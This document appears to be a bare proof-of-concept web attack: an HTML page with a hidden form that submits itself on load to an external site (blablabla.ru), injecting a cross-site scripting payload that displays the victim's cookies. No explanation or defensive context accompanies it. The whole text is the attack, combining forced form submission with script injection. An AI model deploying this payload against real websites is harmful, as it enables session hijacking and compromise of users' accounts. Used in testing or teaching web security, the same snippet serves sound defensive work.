<form NAME="xss" method='post' action='http://blablabla.ru/index.php&post=on'>
<input type='hidden' name='name' value='"><script>alert(document.cookie)</script>'>
<input type='submit'>
</form>
<script>
document.xss.submit();
</script>